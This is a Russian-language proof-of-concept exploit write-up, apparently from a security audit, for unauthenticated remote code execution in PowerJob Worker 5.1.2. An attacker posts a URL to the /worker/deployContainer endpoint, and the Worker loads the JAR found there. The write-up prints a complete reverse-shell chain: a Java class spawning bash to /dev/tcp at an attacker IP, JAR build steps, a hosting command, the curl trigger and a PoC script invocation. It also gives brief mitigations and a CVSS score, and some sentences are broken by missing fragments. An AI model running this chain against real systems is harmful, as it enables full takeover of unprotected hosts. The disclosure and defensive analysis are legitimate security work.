
Доказательство концепции эксплуатации для CVE-2026-75430, обеспечивающее неаутентифицированное удалённое выполнение кода на PowerJob Worker через произвольную загрузку JAR через конечную точку deployContainer.
/worker/deployContainer (произвольная загрузка JAR)Worker PowerJob предоставляет обработчик deployContainer на своём HTTP-транспортном порту 27777 без какой-либо аутентификации. Злоумышленник отправляет произвольный URL; Worker загружает этот JAR и загружает его через URLClassLoader + Spring ClassPathXmlApplicationContext, выполняя произвольный код во время Spring init-method → RCE на Worker. Стандартный docker-compose публикует этот порт на хост.
Предварительное условие (честное заявление): Worker должен быть запущен (порт 27777 прослушивается). В конфигурации по умолчанию Worker при запуске проверяет, что его приложение зарегистрировано на сервере (); (проверено: Java-процесс завершается с кодом 1). Поэтому строго свежее состояние «docker-compose up без настройки консоли» напрямую не эксплуатируется. Однако (в противном случае система не планирует задачи), поэтому , после чего эксплойт не требует учётных данных. Напротив, смежная находка PJ-08 (сервер ) не имеет такого предварительного условия — сервер безусловно привязывает порт 10010 при запуске.
/server/assert/friend/processpowerjob-worker, развёртывается через официальный образ powerjob-worker-samples)docker-compose.yml, HTTP-протокол, порт 27777 (PowerJobWorkerConfig.java:34)| Элемент | Значение |
|---|---|
| Точка входа | POST http://<worker>:27777/worker/deployContainer |
| Обработчик | powerjob-worker/.../actors/WorkerActor.java:32-35 (@Actor(path="worker"), без аутентификации) |
| Загрузка | OmsContainerFactory.deployContainer:97 FileUtils.copyURLToFile(new URL(request.getDownloadURL()), jarFile, ...) |
| Загрузка класса | OmsJarContainer.init() OhMyClassLoader.load() + new ClassPathXmlApplicationContext(...).refresh() |
Тело запроса ServerDeployContainerRequest (поля containerId/containerName/version/downloadURL).
WorkerActor полностью доверяет downloadURL.OmsContainerFactory загружает JAR с произвольного URL и немедленно вызывает OmsJarContainer.init(): загрузка через URLClassLoader + refresh() контекста Spring → вредоносный код выполняется во время инициализации класса/Bean.Предварительное условие: Worker запущен и порт 27777 прослушивается (выполняется при любом производственном/демонстрационном развёртывании; если оператор следовал официальной процедуре и создал пример приложения, Worker находится в сети). Для воспроизведения Worker можно запустить с --powerjob.worker.allow-lazy-connect-server=true, чтобы пропустить проверку регистрации приложения (не рекомендуется в производстве; обратите внимание, что этот параметр влияет только на то, выходит ли Worker в сеть — он не меняет отсутствие аутентификации на открытом порту).
OmsJarContainer.init()):
oms-worker-container.properties с PACKAGE_NAME=com.evilcom/evil/Exploit.class — класс, предоставляющий Spring init-method (например, run()), который выполняет командуoms-worker-container-spring-context.xml — <bean class="com.evil.Exploit" init-method="run"/>POST /worker/deployContainer на порт Worker 27777 с телом {"containerId":1,"containerName":"x","version":"1","downloadURL":"http://<attacker>/evil.jar"}.OmsJarContainer.init(): OhMyClassLoader.load() загружает класс (статический инициализатор не выполняется), затем ClassPathXmlApplicationContext.refresh() создаёт экземпляр bean и вызывает init-method → выполнение произвольной команды (с правами среды выполнения Worker).AbstractScriptProcessor.java:118-123 также поддерживает загрузку с произвольного URL → SSRF на стороне Worker.Нет вывода результата: обработчик
deployContainerвозвращаетvoid, поэтому HTTP-ответ не содержит вывода команды (проверено: пустое тело). Для интерактивного выполнения команд основным методом является обратная оболочка (см. Воспроизведение ниже); вариант с файлом-маркером — только локальная, неинтерактивная проверка.
Окружение: JDK 21, собранный из исходников powerjob-worker-samples-5.1.2.jar, Worker прослушивает 192.168.49.128:27777 (запущен с --powerjob.worker.allow-lazy-connect-server=true для пропуска регистрации приложения).
Основной метод — обратная оболочка (интерактивное выполнение команд):
Exploit.run() вредоносного JAR (Spring init-method) запускает обратную оболочку. Поскольку вывода результата нет, это эффективный способ получить интерактивное выполнение команд на хосте Worker.
# 1) Злоумышленник сначала прослушивает:
nc -lvnp 7878
# 2) Создание вредоносного JAR — Exploit.run() запускает bash-обратную оболочку
package com.evil;
public class Exploit {
public void run() {
Runtime.getRuntime().exec(new String[]{"/bin/bash","-c",
"bash -i >& /dev/tcp/192.168.3.17/7878 0>&1"}); // LHOST:LPORT
}
}
# oms-worker-container.properties : PACKAGE_NAME=com.evil
# oms-worker-container-spring-context.xml :
# <bean id="evil" class="com.evil.Exploit" init-method="run"/>
javac --release 8 -d classes Exploit.java && jar cf evil.jar com/evil/Exploit.class \
oms-worker-container.properties oms-worker-container-spring-context.xml
python3 -m http.server 8000 # размещение evil.jar
# 3) Запуск (без учётных данных):
curl -s http://192.168.49.128:27777/worker/deployContainer -H 'Content-Type: application/json' -d '{
"containerId": 3, "containerName": "evil", "version": "3",
"downloadURL": "http://192.168.3.17:8000/evil.jar"
}'

В качестве альтернативы используйте скрипт для проверки: python3 powerjob_worker_deploycontainer_rce.py 192.168.49.128:27777 http://192.168.3.17:8000/evil.jar --build-and-serve 0.0.0.0 8000 --reverse-shell 192.168.3.17:7878
Ключевой момент PoC:
OhMyClassLoader.load()вызывает толькоloadClass(), который не выполняет статические инициализаторы; фактическая точка выполнения — Spring init-method, вызываемыйClassPathXmlApplicationContext.refresh(). Поэтому вредоносный JAR должен содержать Spring XML и объявлятьinit-method. Обратная оболочка должна запускаться через/bin/bash -c, поскольку/bin/sh(dash) не разбирает/dev/tcp.
deployContainer только доверенному Server и проверяйте источник.downloadURL доверенными внутренними адресами; проверяйте хэш/подпись JAR перед загрузкой.CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8 КритическийPowerJob-5.1.2/audit_report/SECOND_AUDIT_REPORT.md (PJ-09)192.168.49.128:27777, без учётных данных → RCE на Worker); см. ## 6. ВоспроизведениеPowerJob-5.1.2/audit_report/poc/powerjob_worker_deploycontainer_rce.py (автосборка JAR + размещение + запуск, --reverse-shell, -p/--proxy)SECURITY.md (Tidelift / [email protected] / GitHub Security Advisory)